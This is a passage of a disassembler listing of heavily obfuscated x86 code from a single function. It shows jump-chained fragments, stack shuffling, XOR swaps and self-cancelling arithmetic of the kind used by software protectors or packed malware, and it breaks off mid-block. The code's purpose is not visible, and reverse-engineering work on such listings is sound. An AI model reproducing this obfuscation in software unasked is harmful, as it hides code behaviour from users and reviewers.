loc_5A0713:				; CODE XREF: sub_58A891+1A2F9j
					; sub_58A891+2647Ej
		push	73B4h
		mov	[esp+0A6h+var_A6], ebp
		push	esp
		mov	ebp, [esp+0AAh+var_AA]
		jmp	loc_5A51C7
; ---------------------------------------------------------------------------


loc_5A0724:				; CODE XREF: sub_58A891+24A19j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0AAh+var_AA]
		jmp	loc_5ABF3A
; ---------------------------------------------------------------------------


loc_5A0735:				; CODE XREF: sub_58A891+265B6j
		neg	ebx
		sub	ebx, 36C33E13h
		jmp	loc_59FC8C
; ---------------------------------------------------------------------------


loc_5A0742:				; CODE XREF: sub_58A891+2867Bj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0AAh+var_AA]
		mov	esp, [esp+0AAh+var_AA]
		mov	[esp+0AAh+var_AA], esp
		push	ecx
		jmp	loc_59E42D
; ---------------------------------------------------------------------------


loc_5A075D:				; CODE XREF: sub_58A891+11D83j
		and	eax, 3C2E3D05h
		jb	loc_5AA09A
		push	ecx
		mov	ecx, 0F9DCE80Fh
		add	eax, ecx
		jmp	loc_5AC133
; ---------------------------------------------------------------------------


loc_5A0775:				; CODE XREF: sub_58A891+198D5j
					; sub_58A891+1CC1Ej
		pop	ecx
		sub	esp, 4
		mov	[esp+6Ah+var_6C+2], edx
		mov	edx, esp
		push	2F3Ah
		mov	[esp+6Eh+var_70+2], ebp
		mov	ebp, 4
		jmp	loc_5A58EA
; ---------------------------------------------------------------------------


loc_5A0790:				; CODE XREF: sub_58A891+233BFj
		mov	[esp+6Eh+var_70+2], esi
		mov	esi, 7F735CFCh
		jmp	loc_5A72FE
; ---------------------------------------------------------------------------


loc_5A079D:				; CODE XREF: sub_58A891+1EC99j
		xor	esi, 642437Fh
		and	esi, 7CF53D7Dh
		jmp	loc_59FEAA
; ---------------------------------------------------------------------------


loc_5A07AE:				; CODE XREF: sub_58A891+152F9j
					; sub_58A891+2361Aj
		sub	edx, 0DB141BE7h
		jmp	loc_5A53C7
; ---------------------------------------------------------------------------


loc_5A07B9:				; CODE XREF: sub_58A891+218D6j
		xor	bl, 9Eh
		add	bl, 28h
		sub	al, bl
		pop	ebx
		jmp	loc_5ADE0D
; ---------------------------------------------------------------------------


loc_5A07C7:				; CODE XREF: sub_58A891+28655j
		pop	ecx
		add	edi, edx
		pop	edx
		jmp	loc_5A3296
; ---------------------------------------------------------------------------


loc_5A07D0:				; CODE XREF: sub_58A891+18013j
		add	ebx, ecx
		sub	ebx, 7B274597h
		pop	ecx
		add	ebx, 4
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		jmp	loc_5A5BC3
; ---------------------------------------------------------------------------


loc_5A07E7:				; CODE XREF: sub_58A891+15568j
		sub	[esp+26h+var_28+2], 14AC5B57h
		pop	ecx
		add	ecx, 14AC5B57h
		mov	esi, [esp+22h+var_24+2]
		add	esp, 4
		sub	[esp+1Eh+var_18+2], ecx
		mov	ecx, [esp+1Eh+var_20+2]
		jmp	loc_5B0AEF
; ---------------------------------------------------------------------------


loc_5A080A:				; CODE XREF: sub_58A891+19C08j
		add	eax, ebx
		pop	ebx
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		xor	eax, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], eax
		xor	eax, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		movsx	cx, al
		jmp	loc_5AC273
; ---------------------------------------------------------------------------


loc_5A0828:				; CODE XREF: sub_58A891+285AAj
		jmp	loc_5AAC31
; ---------------------------------------------------------------------------


loc_5A082D:				; CODE XREF: sub_58A891:loc_5AE15Ej
		jmp	loc_5A511A
; ---------------------------------------------------------------------------


loc_5A0832:				; CODE XREF: sub_58A891+11A27j
		add	ebp, edi
		sub	ebp, 77A67F5Eh
		pop	edi
		push	ebx
		mov	ebx, 175B0360h
		jmp	loc_59CC4B
; ---------------------------------------------------------------------------


loc_5A0846:				; CODE XREF: sub_58A891+148F5j
		mov	esp, [esp+0EAh+var_EC+2]
		btr	word ptr [esp+0EAh+var_EC+2], ax
		pushf
		jmp	loc_5AFFCB
; ---------------------------------------------------------------------------


loc_5A0854:				; CODE XREF: sub_58A891+18541j
		mov	ebp, 3A3B3CB9h
		or	esi, ebp
		push	[esp+0EEh+var_F0+2]
		jmp	loc_59D2A3
; ---------------------------------------------------------------------------


loc_5A0863:				; CODE XREF: sub_58A891+14607j
		pop	esp
		push	esp
		pop	[esp+8Eh+var_90+2]
		push	ecx
		jmp	loc_5A1451
; ---------------------------------------------------------------------------


loc_5A086E:				; CODE XREF: sub_58A891+184D6j
		pop	[esp+8Eh+var_90+2]
		pop	esp
		mov	[esp+86h+var_88+2], eax
		jmp	loc_5ADB77
; ---------------------------------------------------------------------------


loc_5A087A:				; CODE XREF: sub_58A891+23372j
		pop	dx
		add	al, bh
		jmp	loc_59E88E
; ---------------------------------------------------------------------------


loc_5A0883:				; CODE XREF: sub_58A891+2340Fj
		inc	ecx
		push	ebp
		mov	ebp, 5C167A34h
		or	ebp, 54F85F78h
		xor	ebp, 88322BFFh
		xor	ecx, ebp
		mov	ebp, [esp+88h+var_88]
		add	esp, 4
		jmp	loc_59BFB3
; ---------------------------------------------------------------------------


loc_5A08A6:				; CODE XREF: sub_58A891+1D34Dj
		pop	edi
		push	ebx
		mov	ebx, 365F39ADh
		sub	esp, 4
		mov	[esp+88h+var_88], eax
		mov	eax, 0
		sub	eax, ebx
		xchg	eax, ebx
		pop	eax
		jmp	loc_5AD0D8
; ---------------------------------------------------------------------------


loc_5A08C4:				; CODE XREF: sub_58A891+16845j
		sub	esi, 4
		xchg	esi, [esp+84h+var_84]
		jmp	loc_5AB3FF
; ---------------------------------------------------------------------------


loc_5A08D2:				; CODE XREF: sub_58A891+1C1A8j
		neg	cl
		xor	cl, 44h
		sub	bl, cl
		pop	ecx
		sub	esp, 4
		jmp	loc_5A8CA9
; ---------------------------------------------------------------------------


loc_5A08E2:				; CODE XREF: sub_58A891+257CAj
		push	esi
		mov	esi, 3A4D2E13h
		neg	esi
		shr	esi, 8
		inc	esi
		push	ebx
		mov	ebx, 5E0F4ED3h
		add	ebx, 0FFFFFFFFh
		jmp	loc_59EE4C
; ---------------------------------------------------------------------------


loc_5A08FF:				; CODE XREF: sub_58A891+2472Bj
		mov	edx, 3F554AEDh
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		xor	edx, 271301C0h
		add	edx, 74481D2Eh
		ja	loc_59C42C
		and	edx, 6AF4212Ch
		push	ebx
		mov	ebx, 3F5942C2h
		shr	ebx, 4
		and	ebx, 84961D8h
		jmp	loc_5AAE71
; ---------------------------------------------------------------------------


loc_5A0936:				; CODE XREF: sub_58A891+17869j
		xor	ecx, 0EA065628h
		mov	ebp, ecx
		jmp	loc_5AA734
; ---------------------------------------------------------------------------


loc_5A0943:				; CODE XREF: sub_58A891+1E9B2j
		mov	ebp, 34F0AE0h
		xor	ebp, ecx
		mov	ecx, [esp+90h+var_90]
		add	esp, 4
		push	ecx
		mov	ecx, 6C4B60BBh
		xor	ebp, ecx
		pop	ecx
		push	edi
		jmp	loc_59EDA8
; ---------------------------------------------------------------------------


loc_5A0962:				; CODE XREF: sub_58A891+13293j
		mov	esi, 530E3EA7h
		sub	esi, 7494652h
		jnb	loc_5B1433
		xor	esi, 676C21C5h
		or	esi, 6EE94060h


loc_5A097F:				; CODE XREF: sub_58A891+1F6F5j
		mov	edi, [esp+0Eh+var_10+2]
		jmp	loc_59ED3A
; ---------------------------------------------------------------------------


loc_5A0987:				; CODE XREF: sub_58A891+174D0j
					; sub_58A891+2180Dj
		push	edi
		push	7686h
		push	esp
		pop	[esp+1Ah+var_1C+2]
		push	esi
		push	eax
		mov	eax, 477F3E7Bh
		add	eax, 0B880C189h
		jmp	loc_59D584
; ---------------------------------------------------------------------------


loc_5A09A2:				; CODE XREF: sub_58A891+18C06j
		mov	ch, 1Bh
		jmp	loc_5A7644
; ---------------------------------------------------------------------------


loc_5A09A9:				; CODE XREF: sub_58A891+252A8j
		mov	[esp+1Eh+var_20+2], esi
		mov	esi, 19AE5089h
		sub	esp, 4
		mov	[esp+22h+var_24+2], esi
		not	[esp+22h+var_24+2]
		pop	esi
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		sub	esp, 4
		mov	[esp+22h+var_24+2], esi
		xor	[esp+22h+var_24+2], esi
		xor	esi, [esp+22h+var_24+2]
		xor	[esp+22h+var_24+2], esi
		not	esi
		xor	[esp+22h+var_24+2], esi
		xor	esi, [esp+22h+var_24+2]
		xor	[esp+22h+var_24+2], esi
		pop	esi
		neg	esi
		sub	esi, 0B9E4F8D1h
		sub	edi, 314A2DE8h
		jmp	loc_59FC81
; ---------------------------------------------------------------------------


loc_5A09EF:				; CODE XREF: sub_58A891+22AB2j
		push	[esp+1Eh+var_20+2]
		pop	esi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+22h+var_24+2]
		xor	[esp+22h+var_24+2], esi
		xor	esi, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		mov	[esp+22h+var_24+2], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+22h+var_24+2]
		xor	[esp+22h+var_24+2], edi
		xor	edi, [esp+22h+var_24+2]
		pop	esp
		push	edi
		mov	edi, 55275BEAh
		and	edi, 10486653h
		sub	edi, 3A07537Dh
		jmp	loc_5A6833
; ---------------------------------------------------------------------------


loc_5A0A3D:				; CODE XREF: sub_58A891+1794Aj
		sub	ecx, 6CF359A8h
		pop	edi
		add	ecx, 4
		jmp	loc_5A42F1
; ---------------------------------------------------------------------------


loc_5A0A4F:				; CODE XREF: sub_58A891+2569Cj
		mov	edi, 4
		jmp	loc_5ADBA1
; ---------------------------------------------------------------------------


loc_5A0A59:				; CODE XREF: sub_58A891+1D6DAj
		mov	esi, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_5B1EA6
; ---------------------------------------------------------------------------


loc_5A0A64:				; CODE XREF: sub_58A891+1DD52j
		add	esi, ebx
		sub	esi, 403A38A1h
		add	esi, 2D192C01h
		jmp	loc_5A0598
; ---------------------------------------------------------------------------


loc_5A0A77:				; CODE XREF: sub_58A891+19ABFj
		sub	ebx, 4
		xchg	ebx, [esp+1Ah+var_1C+2]
		pop	esp
		mov	[esp+16h+var_18+2], ecx
		push	0B4Ch
		mov	[esp+1Ah+var_1C+2], edx
		mov	dl, 0E9h
		mov	ch, 29h
		jmp	loc_5B1AE0
; ---------------------------------------------------------------------------


loc_5A0A92:				; CODE XREF: sub_58A891:loc_5A17F8j
		add	eax, 0F6772161h
		mov	esi, eax
		pop	eax
		jmp	loc_5A37B7
; ---------------------------------------------------------------------------


loc_5A0A9F:				; CODE XREF: sub_58A891+1A46Dj
					; sub_58A891+2136Dj
		xor	bh, 85h
		jmp	loc_5ABF32
; ---------------------------------------------------------------------------


loc_5A0AA7:				; CODE XREF: sub_58A891+20385j
		mov	edi, ecx
		pop	ecx
		add	eax, edi
		pop	edi
		sub	eax, 4
		jmp	loc_5A6CD8
; ---------------------------------------------------------------------------


loc_5A0AB5:				; CODE XREF: sub_58A891+14473j
		or	edi, 7716687Dh
		not	edi
		or	edi, 3A111F74h
		jmp	loc_59DD8E
; ---------------------------------------------------------------------------


loc_5A0AC8:				; CODE XREF: sub_58A891+18E23j
		add	esp, 4
		sub	edx, 0D7007C8h
		xor	eax, edx
		pop	edx
		add	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		xchg	ebx, [esp+96h+var_98+2]
		jmp	loc_5AAA52
; ---------------------------------------------------------------------------


loc_5A0AE7:				; CODE XREF: sub_58A891+1243Ej
		mov	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+0A2h+var_A2], ecx
		jmp	loc_5AF730
; ---------------------------------------------------------------------------


loc_5A0AF5:				; CODE XREF: sub_58A891+24458j
		pop	edi
		pop	ebx
		push	small 3FB8h
		mov	word ptr [esp+9Ch+var_9E+2], dx
		jmp	loc_59D75E
; ---------------------------------------------------------------------------


loc_5A0B04:				; CODE XREF: sub_58A891+11ADDj
		push	cx
		pushf
		jmp	loc_59C5BE
; ---------------------------------------------------------------------------


loc_5A0B0C:				; CODE XREF: sub_58A891+17266j
		add	esp, 4
		shr	eax, 7
		inc	eax
		jmp	loc_5AC49F
; ---------------------------------------------------------------------------


loc_5A0B1B:				; CODE XREF: sub_58A891+1581Fj
		pop	eax
		mov	ecx, edi
		pop	edi
		sub	eax, 632158ACh
		add	eax, ecx
		push	ebp
		mov	ebp, 632158ACh
		add	eax, ebp
		pop	ebp
		push	[esp+0Eh+var_10+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5A4F13
; ---------------------------------------------------------------------------


loc_5A0B3E:				; CODE XREF: sub_58A891+1B66Cj
		push	eax
		jmp	loc_5A1372
; ---------------------------------------------------------------------------


loc_5A0B44:				; CODE XREF: sub_58A891+19155j
					; sub_58A891+2839Dj
		not	ebp
		jmp	loc_5A942F
; ---------------------------------------------------------------------------


loc_5A0B4B:				; CODE XREF: sub_58A891+26EBAj
		or	ebx, ecx
		mov	ecx, [esp+0Eh+var_10+2]
		add	esp, 4
		push	ebx
		jmp	loc_59FF56
; ---------------------------------------------------------------------------


loc_5A0B5C:				; CODE XREF: sub_58A891+11B96j
		mov	edi, 779855D4h
		mov	edx, edi
		pop	edi
		add	eax, 36DB47F7h
		jmp	loc_5AF8D0
; ---------------------------------------------------------------------------


loc_5A0B6E:				; CODE XREF: sub_58A891+19680j
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A0B79:				; CODE XREF: sub_58A891+28205j
		add	ecx, 79F55EDEh
		add	ecx, 1D580999h
		add	ecx, 70F91439h
		add	ecx, edi
		sub	ecx, 70F91439h
		sub	ecx, 1D580999h
		jmp	loc_5ADBE0
; ---------------------------------------------------------------------------


loc_5A0B9E:				; CODE XREF: sub_58A891+1F28Cj
		push	ebx
		push	ebp
		mov	ebp, 4
		jmp	loc_5A25C0
; ---------------------------------------------------------------------------


loc_5A0BAA:				; CODE XREF: sub_58A891+1B368j
		xchg	ebp, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		and	eax, ebp
		push	[esp+0Ah+var_C+2]
		mov	ebp, [esp+0Eh+var_10+2]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_5A47D4
		push	981h
		mov	[esp+0Ah+var_C+2], eax
		push	1Ch
		mov	eax, [esp+0Eh+var_10+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 95F7ACCh
		jmp	loc_5B1ABC
; ---------------------------------------------------------------------------


loc_5A0BED:				; CODE XREF: sub_58A891+22703j
		jo	loc_5A0177
		not	edi
		jmp	loc_5A389C
; ---------------------------------------------------------------------------


loc_5A0BFA:				; CODE XREF: sub_58A891+128BEj
					; sub_58A891+20FDAj
		or	edx, 1C8858ADh
		add	edx, 48B88171h
		jmp	loc_5B1B9D
; ---------------------------------------------------------------------------


loc_5A0C0B:				; CODE XREF: sub_58A891+13C79j
		pop	edi
		add	esp, 4
		jmp	loc_5A4059
; ---------------------------------------------------------------------------


loc_5A0C14:				; CODE XREF: sub_58A891+2560Fj
		add	esi, 5540376h
		add	esi, 15B963E6h
		add	esi, eax
		sub	esi, 15B963E6h
		sub	esi, 5540376h
		push	ebx
		mov	ebx, 0F5D7F29h
		sub	esi, ebx
		pop	ebx
		push	1E0693h
		mov	ebx, [esp+3Ah+var_3C+2]
		add	esp, 4
		push	ecx
		push	esi
		jmp	loc_5A8E47
; ---------------------------------------------------------------------------


loc_5A0C49:				; CODE XREF: sub_58A891+23CEBj
		mov	esi, 4
		sub	eax, 174436C0h
		add	eax, esi
		sub	esp, 4
		mov	[esp+42h+var_44+2], ebx
		push	edx
		push	5FB2135Dh
		pop	edx
		not	edx
		add	edx, 76F64A1Eh
		mov	ebx, edx
		jmp	loc_5AE3E6
; ---------------------------------------------------------------------------


loc_5A0C71:				; CODE XREF: sub_58A891+217CAj
		shr	esi, 5
		push	edi
		mov	edi, 0EA8A08h
		xor	esi, edi
		pop	edi
		jmp	loc_5A96BF
; ---------------------------------------------------------------------------


loc_5A0C82:				; CODE XREF: sub_58A891+27C39j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+46h+var_48+2]
		pop	esp
		xor	dh, al
		mov	ax, word ptr [esp+42h+var_44+2]
		push	6134h
		mov	[esp+46h+var_48+2], edi
		push	esp
		jmp	loc_5B041C
; ---------------------------------------------------------------------------


loc_5A0CA3:				; CODE XREF: sub_58A891+1F4A2j
		add	eax, 0F99052B3h
		sub	ecx, eax
		mov	eax, [esp+4Ah+var_4C+2]
		add	esp, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_5AFA7A
; ---------------------------------------------------------------------------


loc_5A0CB8:				; CODE XREF: sub_58A891+1C022j
		sub	ebx, 7CE820E0h
		add	ebx, edx
		add	ebx, 7CE820E0h
		add	ebx, 1F077D16h
		pop	edx
		push	ebx
		push	[esp+42h+var_40+2]
		mov	ebx, [esp+46h+var_48+2]
		jmp	loc_59D1AF
; ---------------------------------------------------------------------------


loc_5A0CDA:				; CODE XREF: sub_58A891+154E1j
		and	edx, 725B7DB8h
		jnz	loc_5A57E2
		and	edx, 3679058Eh
		jp	loc_5A2F7F
		mov	ebp, ebx


loc_5A0CF4:				; CODE XREF: sub_58A891+2538Fj
		push	ebx
		mov	bl, 9Fh
		mov	al, bl
		mov	ebx, [esp+86h+var_88+2]
		add	esp, 4
		push	edx
		jmp	loc_5A413D
; ---------------------------------------------------------------------------


loc_5A0D08:				; CODE XREF: sub_58A891:loc_5A8879j
		xor	ecx, 2E25A8CEh
		mov	esi, ecx
		mov	ecx, [esp+86h+var_88+2]
		add	esp, 4
		jmp	loc_5AC4A8
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+86h+var_88+2], eax
		jmp	loc_5AFC3C
; ---------------------------------------------------------------------------


loc_5A0D2C:				; CODE XREF: sub_58A891+1DDD4j
		xor	bl, ch
		pop	ecx
		push	edx
		mov	dh, bl
		push	dx
		not	byte ptr [esp+88h+var_88+1]
		jmp	loc_5B00DF
; ---------------------------------------------------------------------------


loc_5A0D3D:				; CODE XREF: sub_58A891+1ED5Ej
		xor	edx, edi
		pop	edi
		mov	ebx, edx
		pop	edx
		and	eax, ebx
		mov	ebx, [esp+80h+var_80]
		jmp	loc_5AF6BA
; ---------------------------------------------------------------------------


loc_5A0D4D:				; CODE XREF: sub_58A891+14121j
		sub	edi, 52B12402h
		mov	esi, edi
		jmp	loc_5A45DD
; ---------------------------------------------------------------------------


loc_5A0D5A:				; CODE XREF: sub_58A891+18311j
		pop	esp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0A8h+var_AA+2]
		pop	esp
		jmp	loc_59D3AD
; ---------------------------------------------------------------------------


loc_5A0D73:				; CODE XREF: sub_58A891+17BBAj
		push	ebp
		jmp	loc_5ABDDF
; ---------------------------------------------------------------------------


loc_5A0D79:				; CODE XREF: sub_58A891+24F2Bj
		push	128D3DB0h
		pop	ebp
		dec	ebp
		jmp	loc_5AD811
; ---------------------------------------------------------------------------


loc_5A0D85:				; CODE XREF: sub_58A891+24778j
		sub	ebp, ebx
		jmp	loc_5A16AA
; ---------------------------------------------------------------------------


loc_5A0D8C:				; CODE XREF: sub_58A891+15997j
		mov	eax, [esp+12h+var_14+2]
		add	esp, 4
		push	esi
		pop	dword ptr [edx+38h]
		mov	esi, [esp+0Eh+var_10+2]
		add	esp, 4


loc_5A0D9F:				; CODE XREF: sub_58A891+2332Bj
		push	33E7h
		mov	[esp+0Eh+var_10+2], eax
		push	ecx
		jmp	loc_5B1335
; ---------------------------------------------------------------------------


loc_5A0DAD:				; CODE XREF: sub_58A891+14E5Ej
		mov	edx, 0BA56A18h
		push	edi
		mov	edi, 0F45A95ECh
		add	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp+56h+var_58+2]
		pop	esp
		neg	eax
		jnz	loc_5A2034
		dec	eax
		inc	eax
		jns	loc_5B24D7
		not	eax


loc_5A0DD7:				; CODE XREF: sub_58A891:loc_5A2C81j
		push	2FB4h
		mov	[esp+56h+var_58+2], ecx
		mov	ecx, 77BF5078h
		xor	ebp, ecx
		pop	ecx
		mov	eax, ebp
		jmp	loc_5A5A59
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 265Ch
		jmp	loc_5A3625
; ---------------------------------------------------------------------------


loc_5A0DFB:				; CODE XREF: sub_58A891+1C5AEj
		mov	edi, [esp+54h+var_54]
		jmp	loc_5A17EB
; ---------------------------------------------------------------------------


loc_5A0E03:				; CODE XREF: sub_58A891+1940Dj
		add	ebp, edx
		add	ebp, 6180933h
		jmp	loc_5B1EC7
; ---------------------------------------------------------------------------


loc_5A0E10:				; CODE XREF: sub_58A891+17F12j
					; sub_58A891+27D4Aj
		jz	loc_5B07BD
		shl	edi, 4
		jnp	loc_59D3CB
		inc	edi
		jge	loc_59E716
		jmp	loc_59E1E8
; ---------------------------------------------------------------------------
		jz	loc_5AA1EB
		push	ebx


loc_5A0E32:				; CODE XREF: sub_58A891+118BFj
		pop	dx
		jmp	loc_5A15D7
; ---------------------------------------------------------------------------


loc_5A0E39:				; CODE XREF: sub_58A891+1E978j
		shr	al, 6
		neg	al
		jmp	loc_59D85B
; ---------------------------------------------------------------------------


loc_5A0E43:				; CODE XREF: sub_58A891+22B1Ej
		jo	loc_5A298B
		xor	ecx, 3E8867C8h
		jmp	loc_5A6EE5
; ---------------------------------------------------------------------------


loc_5A0E54:				; CODE XREF: sub_58A891+16A2Bj
		jmp	loc_5B0531
; ---------------------------------------------------------------------------


loc_5A0E59:				; CODE XREF: sub_58A891+20724j
		add	edi, edx
		push	[esp+56h+var_58+2]
		pop	edx
		add	esp, 4
		jmp	loc_5A2935
; ---------------------------------------------------------------------------


loc_5A0E6A:				; CODE XREF: sub_58A891+20152j
		shl	esi, 4
		jns	loc_5A643B
		jmp	loc_5B0624
; ---------------------------------------------------------------------------


loc_5A0E78:				; CODE XREF: sub_58A891+1AFCCj
		mov	ecx, 5DE93E41h
		jmp	loc_5AD224
; ---------------------------------------------------------------------------


loc_5A0E82:				; CODE XREF: sub_58A891+180E8j
					; sub_58A891+271A1j
		mov	edx, [esp+52h+var_54+2]
		push	4508h
		mov	[esp+56h+var_58+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+56h+var_58+2]
		xor	[esp+56h+var_58+2], ebp
		xor	ebp, [esp+56h+var_58+2]
		pop	esp
		jmp	loc_5AF25C
; ---------------------------------------------------------------------------


loc_5A0EAA:				; CODE XREF: sub_58A891+12CAAj
		push	[esp+2Eh+var_30+2]
		pop	ebx
		add	esp, 4
		push	eax
		mov	eax, 10AA5357h
		shl	eax, 5
		sub	eax, 154A6ADCh
		sub	esp, 4
		mov	[esp+32h+var_34+2], edx
		mov	edx, 4892391Ch
		sub	ebx, edx
		pop	edx
		add	ebx, 270F5551h
		jmp	loc_5A44AF
; ---------------------------------------------------------------------------


loc_5A0EDB:				; CODE XREF: sub_58A891+147F2j
		jmp	loc_5ADD92
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0CEh+var_CE]
		push	6E9Ah
		mov	[esp+0D2h+var_D2], ecx
		push	esp
		mov	ecx, [esp+0D6h+var_D6]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0D6h+var_D6], edi
		push	7928h
		mov	[esp+0DAh+var_DA], eax
		jmp	loc_59C999
; ---------------------------------------------------------------------------


loc_5A0F09:				; CODE XREF: sub_58A891+23A53j
		push	eax
		push	ebx
		push	5B2621DFh
		pop	ebx
		jmp	loc_5B0C43
; ---------------------------------------------------------------------------


loc_5A0F16:				; CODE XREF: sub_58A891+21D96j
					; sub_58A891+22E5Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0E2h+var_E2]
		jmp	loc_5AD065
; ---------------------------------------------------------------------------


loc_5A0F2A:				; CODE XREF: sub_58A891+12540j
		push	dword ptr [esp+0]
		mov	ecx, [esp+9Eh+var_9E]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0A2h+var_A2]
		mov	esp, [esp+0A2h+var_A2]
		push	ebp
		push	esp
		pop	ebp
		push	edx
		jmp	loc_5B2407
; ---------------------------------------------------------------------------


loc_5A0F4B:				; CODE XREF: sub_58A891+12770j
		push	ecx
		jmp	loc_5ADA9A
; ---------------------------------------------------------------------------


loc_5A0F51:				; CODE XREF: sub_58A891+17BAAj
					; sub_58A891+26F49j
		sub	esp, 4
		jmp	loc_59C8E7
; ---------------------------------------------------------------------------


loc_5A0F5C:				; CODE XREF: sub_58A891+20F9Bj
		add	ebx, 0FFFFFFFFh
		push	eax
		mov	eax, 71573B71h
		xor	ebx, eax
		pop	eax
		add	edx, ebx
		pop	ebx
		jmp	loc_5AF442
; ---------------------------------------------------------------------------


loc_5A0F73:				; CODE XREF: sub_58A891+233F6j
		push	ebp
		mov	ebp, 36CB7B1Dh
		push	ebp
		inc	[esp+0AAh+var_AA]
		pop	ebp
		jmp	loc_5A8319
; ---------------------------------------------------------------------------


loc_5A0F83:				; CODE XREF: sub_58A891+2702Fj
		xor	ebp, 227255D3h
		jmp	loc_5A90C3
; ---------------------------------------------------------------------------
		lodsw
		push	75B5h
		mov	[esp+0AAh+var_AA], edi
		push	eax
		mov	ax, 3962h
		jmp	loc_5A5511
; ---------------------------------------------------------------------------


loc_5A0FA2:				; CODE XREF: sub_58A891+1855Aj
		sub	ecx, 5287DBEh
		add	ecx, edi
		add	ecx, 5287DBEh
		sub	ecx, 6D5F0A8Ah
		pop	edi
		push	edx
		mov	edx, 5B1C7720h
		xor	edx, 52EA7679h
		push	esi
		mov	esi, 1C310804h
		dec	esi
		jmp	loc_5A5079
; ---------------------------------------------------------------------------


loc_5A0FCF:				; CODE XREF: sub_58A891+2737Aj
		pop	ecx
		jmp	loc_5A509A
; ---------------------------------------------------------------------------


loc_5A0FD5:				; CODE XREF: sub_58A891+1BFD6j
		add	[esp+0AEh+var_AE], 4
		jmp	loc_5A0114
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A0FE9:				; CODE XREF: sub_58A891+200FCj
		jmp	loc_5B0679
; ---------------------------------------------------------------------------


loc_5A0FEE:				; CODE XREF: sub_58A891+13694j
		mov	eax, 1D743E89h
		sub	eax, edx
		pop	edx
		push	ebx
		mov	ebx, esp
		push	4DF8h
		mov	[esp+2Ah+var_2C+2], eax
		mov	eax, 23382810h
		jmp	loc_5A6881
; ---------------------------------------------------------------------------


loc_5A100B:				; CODE XREF: sub_58A891+25024j
		add	eax, 4
		push	6D18h
		mov	[esp+2Eh+var_30+2], edi
		sub	esp, 4
		mov	[esp+32h+var_34+2], esp
		add	[esp+32h+var_34+2], 4
		pop	edi
		add	edi, 4
		jmp	loc_59E3A4
; ---------------------------------------------------------------------------


loc_5A1031:				; CODE XREF: sub_58A891+14CCEj
		add	esi, eax
		pop	eax
		xchg	esi, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		jmp	loc_5A3270
; ---------------------------------------------------------------------------


loc_5A103F:				; CODE XREF: sub_58A891+14AF9j
		jl	loc_5A6F52
		xor	edi, 220D7F5Eh
		mov	ebx, edi
		pop	edi
		push	3488h
		mov	[esp+6Eh+var_70+2], ebx
		mov	eax, [esp+6Eh+var_70+2]
		add	esp, 4
		pop	ebx
		add	eax, 4A7B1435h
		sub	eax, edi
		push	40ECh
		mov	[esp+6Ah+var_6C+2], edi
		mov	edi, 752C0F64h
		add	edi, 0D54F04D1h
		sub	eax, edi
		mov	edi, [esp+6Ah+var_6C+2]
		add	esp, 4
		pop	edi
		push	ecx
		mov	ecx, 38495BCFh
		jmp	loc_59E726
; ---------------------------------------------------------------------------


loc_5A108B:				; CODE XREF: sub_58A891+1DF1Dj
		mov	[esp+66h+var_68+2], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59E7C2
; ---------------------------------------------------------------------------


loc_5A109B:				; CODE XREF: sub_58A891+12A40j
					; sub_58A891+1B5A4j
		xchg	eax, [esp+1Ah+var_1C+2]
		jmp	loc_5A5F6D
; ---------------------------------------------------------------------------


loc_5A10A3:				; CODE XREF: sub_58A891+1F245j
		or	[edi+1Ch], eax
		mov	eax, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A10B4:				; CODE XREF: sub_58A891+25495j
		or	edx, 6BBD20EBh
		sub	edx, 34C84981h
		jmp	loc_5AA13D
; ---------------------------------------------------------------------------


loc_5A10C5:				; CODE XREF: sub_58A891+17DD3j
		mov	[esp+16h+var_18+2], ebp
		mov	ebp, 6B9D54ADh
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5A08C4
; ---------------------------------------------------------------------------


loc_5A10DB:				; CODE XREF: sub_58A891+15813j
					; sub_58A891+235F9j
		mov	[esp+16h+var_18+2], edi
		push	6F1F3F40h
		push	[esp+1Ah+var_1C+2]
		pop	edi
		add	esp, 4
		shr	edi, 3
		neg	edi
		jmp	loc_5A7F32
; ---------------------------------------------------------------------------


loc_5A10F4:				; CODE XREF: sub_58A891+22D73j
					; sub_58A891+239CBj
		pop	ebp
		push	ebx
		mov	ebx, 15303653h
		inc	ebx
		push	edi
		mov	edi, 69831445h
